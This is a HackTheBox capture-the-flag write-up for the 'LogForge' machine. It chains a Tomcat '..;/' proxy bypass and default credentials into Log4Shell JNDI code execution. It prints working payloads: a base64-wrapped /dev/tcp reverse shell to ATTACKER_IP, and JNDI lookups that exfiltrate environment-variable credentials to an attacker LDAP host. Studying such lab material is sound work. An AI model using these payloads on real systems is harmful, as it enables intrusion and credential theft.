HTB: LogForge Writeup
LogForge - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | LogForge |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
LogForge fronts an Apache Tomcat instance behind an Apache HTTPD reverse proxy. The proxy blocks direct access to the Tomcat Manager, but a classic reverse-proxy path-normalization bypass reopens it, and default credentials get us in. From there, Tomcat’s Manager surface is vulnerable to Log4Shell (CVE-2021-44228), giving JNDI-based remote code execution and a shell as tomcat. A root-owned Java FTP server on the box turns out to log usernames through the same vulnerable Log4j library — so the exact same class of bug is abused a second time, this time to leak the ftp_user/ftp_password environment variables straight out of the process. Logging into the root FTP service with the leaked creds hands over root.txt.
TL;DR: Apache→Tomcat ..;/ reverse-proxy bypass → tomcat:tomcat default creds → Log4Shell JNDI RCE on Tomcat Manager → shell as tomcat → root-owned Java FTP server also vulnerable to Log4Shell → leak ftp_user/ftp_password env vars → authenticate to root FTP service → root flag.
Reconnaissance
Port Scanning
# Standard version/script scan against the targetnmap -sC -sV -T4 -p- TARGET_IPResults: SSH open, plus an Apache HTTPD front end on port 80. Direct requests to /manager and /admin came back 403 Forbidden — Apache HTTPD is reverse-proxying to a backend Tomcat instance and explicitly denying those paths at the proxy layer.
Service Enumeration
Apache HTTPD in front of Tomcat is a well-known pairing for one specific bypass class: Tomcat interprets ; inside a path segment as a parameter delimiter, and will collapse a URL segment like /anything/..;/manager/html back down to /manager/html after Apache’s proxy has already made its forwarding decision on the pre-normalized path. Apache sees a harmless path and forwards it; Tomcat resolves it into the blocked one.
# The Orange Tsai reverse-proxy path-traversal bypass:# Apache HTTPD proxies the request without normalizing ..;/# Tomcat then treats ..;/ as ../ during its own path normalizationcurl -u tomcat:tomcat "http://TARGET_IP/anything/..;/manager/html"Vulnerability Assessment
- Reverse-proxy path normalization mismatch → Tomcat Manager reachable despite the Apache-level
403. tomcat:tomcatdefault credentials valid against the Manager.- Tomcat 9.x itself ships no vulnerable Log4j dependency, but web applications deployed on top of it can — and here, one does, giving Log4Shell (CVE-2021-44228) a foothold via the Manager application context.
Initial Foothold
Exploitation Path
With Manager access via the ..;/ bypass and tomcat:tomcat, the deployed application logs attacker-influenced input through a vulnerable Log4j2 version. Sending a JNDI lookup payload into a logged parameter (e.g. via the Manager’s expire endpoint) triggers an outbound LDAP callback, confirming Log4Shell:
# Confirm Log4Shell: any logged field that reflects into log4j's formatter# triggers a callback to our listener when it contains a JNDI lookupcurl -u tomcat:tomcat \ "http://TARGET_IP/anything/..;/manager/html/expire?path=%24%7Bjndi:ldap://ATTACKER_IP:1389/a%7D"
# Confirmation listenernc -lvnp 1389Once the callback lands, the next step is weaponizing it into RCE with a ysoserial-style deserialization gadget served over LDAP/RMI (JNDI Exploit Kit pattern):
# The target JVM matched an older Java runtime — a JDK 21 gadget# built on the jump box would not deserialize correctly. Had to pull# and use JDK 8 specifically to build/serve a compatible gadget chain,# since the serialized class format and reflection internals used by# the CommonsCollections gadgets are version-sensitive.sdk install java 8.0.402-temsdk use java 8.0.402-tem
java -jar JNDI-Exploit-Kit.jarThe reverse shell command itself hit a second environmental snag: the process that ultimately executes the payload runs under /bin/sh (dash), which doesn’t understand bash’s >& fd-merge redirection used in a standard bash -i >& /dev/tcp/ATTACKER_IP/LPORT 0>&1 one-liner — it just fails to parse. Fix was to base64-wrap the bash-specific command and force it through bash explicitly rather than letting the default sh interpret it directly, then base64-wrap that again so the outer JNDI payload delivery layer didn’t mangle special characters in transit:
# Layer 1: encode the actual bash reverse shellecho 'bash -i >& /dev/tcp/ATTACKER_IP/LPORT 0>&1' | base64 -w0# -> produces INNER_B64
# Layer 2: wrap a decode-and-execute-via-bash command, then encode that too,# so the JNDI payload only ever carries one opaque blob through dashecho "echo INNER_B64|base64 -d|bash" | base64 -w0# -> produces OUTER_B64, delivered as the JNDI exploit's exec_unix argument# Catch the shellnc -lvnp LPORTThis lands code execution as tomcat.
Privilege Escalation
tomcat → root
Enumerating running processes from the tomcat shell revealed a root-owned Java process running a custom FTP server jar, bound only to localhost. A readable copy of the jar was located elsewhere on the filesystem and pulled back for static analysis. Decompiling it showed the FTP server’s username-handling routine logs the supplied username through the same vulnerable Log4j2 dependency — without ever touching the connection’s password, meaning the exact class of bug already used for RCE (CVE-2021-44228) applies again here, this time purely for JNDI-based information disclosure rather than code execution.
Log4Shell’s JNDI lookups aren’t limited to remote-class-loading RCE — ${jndi:ldap://...} will happily resolve nested lookups too, including ${env:VARNAME}, and exfiltrate the resolved value in the outbound LDAP request name. Since the FTP server’s credential-check logic reads its expected username/password out of environment variables, those variables can be leaked without ever touching disk or needing shell access to the root-owned process:
# From the tomcat shell, re-trigger the Log4Shell listener/exploit kit,# then feed nested env-var lookups as the "username" into the local# root-owned FTP service — the FTP server's own logging call leaks them# back to our LDAP listener as the referenced object nameftp localhost# Name: ${jndi:ldap://ATTACKER_IP:1389/user:${env:ftp_user}}# Password: ${jndi:ldap://ATTACKER_IP:1389/user:${env:ftp_password}}The JNDI listener’s log shows the LDAP lookup names it received, which contain the resolved ftp_user and ftp_password values. Authenticating to the root FTP service with those creds gives directory access to /root:
# Log back into the FTP service with the leaked credentialsftp localhost# Name: <leaked ftp_user># Password: <leaked ftp_password>ftp> lsftp> get root.txtcat root.txt# <redacted>Attack Chain Summary
Nmap recon (SSH + Apache HTTPD reverse-proxying Tomcat) → Orange Tsai ..;/ reverse-proxy path-traversal bypass reaches /manager → tomcat:tomcat default credentials authenticate to Tomcat Manager → Log4Shell (CVE-2021-44228) JNDI RCE via a logged Manager parameter → JDK 8 required to build a compatible ysoserial/JNDI gadget (JDK 21 gadget failed) → double-base64-wrapped payload works around dash's lack of `>&` support → reverse shell as tomcat → user.txt → root-owned Java FTP server jar found + reversed, logs username via Log4j2 → second Log4Shell payload: ${jndi:ldap://.../user:${env:ftp_user}} leaks env vars → authenticate to root-only FTP service with leaked ftp_user/ftp_password → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
curl | Manual HTTP requests to trigger the reverse-proxy bypass and Log4Shell payloads |
JNDI Exploit Kit / ysoserial-style gadgets | Building the JNDI/LDAP deserialization RCE chain |
| JDK 8 | Building a gadget chain compatible with the target JVM (JDK 21 on the jump box broke it) |
nc | Catching the reverse shell and the JNDI/LDAP callback listener |
base64 | Double-encoding the reverse-shell one-liner to survive dash and the JNDI payload transport |
| Java decompiler | Reversing the root-owned FTP server jar to find the Log4j username-logging call |
ftp | Authenticating to the root-only FTP service and retrieving root.txt |
Key Learnings
Techniques Practiced
- Reverse-proxy path-normalization bypass (
..;/) to reach a proxy-blocked Tomcat Manager - Default-credential exploitation against Tomcat Manager
- Log4Shell (CVE-2021-44228) exploitation for both RCE and, separately, environment-variable disclosure via nested JNDI/
${env:}lookups - JVM-version-sensitive gadget chain selection for Java deserialization exploits
- Shell-dialect-aware payload construction (
bashvssh/dash) via encoding
Lessons Learned
- A
403at the reverse-proxy layer is not a403at the backend. Apache HTTPD and Tomcat can disagree on path normalization; always test..;/-style bypasses against any Apache-fronted Tomcat. - Deserialization gadget chains are JVM-version-fragile. A gadget built under a modern JDK (21) silently failed against this target — matching the builder JDK to the target’s expected runtime (JDK 8) was the fix, not a gadget bug.
- Log4Shell is not just an RCE primitive. The same
${jndi:...}mechanism resolves nested${env:...}lookups and exfiltrates them via the outbound LDAP object name — useful for credential leakage even when RCE against a given process isn’t the goal. /bin/shisn’tbash. Reverse-shell one-liners using>&fail silently or error under dash; wrapping the payload in base64 and explicitly invokingbashsidesteps shell-dialect mismatches entirely.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- ctrlzero, “LogForge” — HackTheBox writeup (machine author: ippsec), used here for background on the Orange Tsai reverse-proxy path-traversal technique, the Log4Shell (CVE-2021-44228) JNDI exploitation chain, and the root-owned Java FTP server’s Log4j-based username logging.
- CVE-2021-44228 — Apache Log4j2 JNDI RCE (“Log4Shell”).